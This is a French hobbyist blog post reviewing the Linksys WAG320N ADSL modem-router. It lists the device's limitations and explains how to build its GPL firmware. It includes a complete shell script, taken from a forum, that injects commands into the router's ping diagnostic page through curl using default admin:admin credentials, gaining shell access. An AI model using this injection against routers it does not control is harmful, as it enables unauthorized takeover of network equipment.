modem routeur adsl WAG320N

J'ai fait l'acquisition d'un nouveau routeur/modem ADSL2+ et mon choix s'est porté sur le Linksys WAG320N. Les critiques semblaient bonnes, mon routeur-modem actuel, un Zyxel, plantait régulièrement après 6 ans de bons et loyaux services, mettant hors ligne mon blog.

Déballage du routeur/modem Linksys WAG320N

Linksys par CISCO

Au menu de ce petit bijoux de technologie, que du bon ... Déjà c'est un Linksys by CISCO (je pratique les équipements professionnels CISCO depuis des années, c'est du sérieux). Ensuite, les technologies qu'il embarque, sont alléchantes :

  • modem ADSL2+
  • switch Gigabite ethernet
  • wifi norme N
  • un port USB
  • média center
  • DMZ
  • un chipset Broadcom BRCM63xx, avec l'espoir d'avoir un custom firmware OpenWRT
Que du bon !?

Les possibilites du WAG320N

J'ai déballé mon colis, branché la bête. Je me suis connecté à l'interface web, là j'ai commencé à déchanter : le modem/routeur Linksys WAG320N est une réelle grosse merde !!! Jugez plutôt :

  1. pas d'interface CLI (telnet ou ssh), que du web
  2. pas de vpn possible, au 21ème siècle, je crois rêver
  3. pas de plage d'IP différente sur l'interface dédiée DMZ
  4. firewall non paramétrable (même la LiveBox fait mieux)
  5. les débits du périphérique USB 4Mo/sec avec SMB et même en ftp(ça doit être de l'USB 1)
  6. lors de la copie d'un fichier on ne peut plus accéder à l'interface d'administration
  7. pas de bouton ou de planification des heures de mise en service du wifi
  8. pas de support de l'IPv6
  9. ...
J'ai bien failli renvoyer l'ensemble de cette merde technologique, qui coûte quand même un peu plus de 100€, qui en fait moins que mon vieux Zyxel qui a 6 ans d'age.

Mais, je ne suis pas du genre à baisser les bras, et c'est dans l'adversité que l'homme se révèle ?!

Hacker le routeur Linksys WAG320N

Linux inside WAG320N

J'ai entrepris quelques recherches et voilà le fruit de ma moisson. Le coeur du WAG 320 N est animé par Linux, il existe un moyen d'avoir un accès au shell de commande, grâce à un petit bug de l'interface web. J'ai trouvé ce script simple, sur le forum italien Hardware Upgrade :

#/bin/sh
#
# WAG320N-HACK
# Ver. 1.0
# 12/09/2010
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Set username and password in the form of "username:password"
# example: "admin:admin"
my_access="admin:admin"

# Parameters test
if [ -z "$1" ]
then
  echo "wag320n-hack.sh: missing remote command"
  echo "usage: wag320n-hack.sh <remote command>"
  echo "example: wag320n-hack.sh /bin/ls -la /usr/sbin"
  echo "Note: always use full path"
  echo ""
  echo "wag320n-hack.sh - Ver. 1.0 - 12/09/2010"
  echo "Licensed under GPL V. 3"
  echo ""
  exit 0
fi

# Get the command
my_command="ping_size="'$('"$@"' 1>&2)'

curl -s -G -u "$my_access" --data-urlencode 'todo=ping_test' --data-urlencode 'this_file=Diagnostics.htm' --data-urlencode 'next_file=Ping.htm' --data-urlencode 'c4_ping_ipaddr=192.168.1.1' --data-urlencode 'ping_timeout=5000' --data-urlencode 'ping_interval=1000' --data-urlencode 'ping_number=1' --data-urlencode "$my_command" http://192.168.1.1/setup.cgi | sed -e '/HTTP\/1.0 200 OK/q'

Il permet d’exécuter des commandes, depuis une machine, vers le WAG320-N (pour ceux, et il y en a, qui utilisent Windows vous pouvez télécharger les outils pour exécuter un .bat équivalent ici) ! En poussant l'exploration plus avant, j'ai découvert que le script avait été amélioré pour installer un serveur ssh dans le WAG-320N et d'autres outils à télécharger ici.

Compiler le code source du routeur Linksys WAG320N

En outre, le Linksys WAG320N fonctionnant avec Linux, la GPL oblige a publier les sources et les binaires qui composent l'ensemble du routeur modem WAG320N : vous pouvez les télécharger ici.

Pour compiler l'ensemble sous Linux, suivez le guide :

  1. extraction du d'archive tgz : tar xpf WAG320N_v1.00.12-A_GPL.tgz
  2. renommer le répertoire : mv WAG320N_v1.00.12-A_GPL WAG320N
  3. pour permettre la compilation sur une machine 64bits, vous devez réaliser les opérations suivantes :
    1. sudo aptitude install ia32-libs libc6-dev-i386 gcc-multilib
    2. cd bcm963xx_4.02L.01/hostTools/fakeroot; ./config.status --recheck (à cause du lien symbolique bash dans ubuntu qui pointe sur dash)
    3. insérer #include
    4. commenter la ligne 76 du fichier WAG320N/tk_apps/matrixssl-1-8-8-open/src/Makefile
      ifeq ($(shell uname -m),x86_64)
        #DFLAGS  += -march=core2 -fPIC -DFP_64BIT -DTFM_X86_64 -DRDTSC
      endif
  4. enfin lancer : make auto
  5. ...
  6. et normalement, voilà votre firmware WAG320N tout propre : image/wag320n_A_1.00.12.bin

J'ai testé et réalisé l'ensemble des tests de compilation sur Ubuntu 10.04.2 LTS, sans arriver à compiler (les dernières erreurs viennent de la partie fakeroot) : HELP si vous avez des idées, je suis un peu nul en dev :p . Le thread d'origine est ici.

Côté OpenWRT, je n'ai rien trouvé de probant pour le moment.

J'ai décidé peut-être à tord de conserver cet équipement. Si, vous avez des informations complémentaires, je suis preneur !!!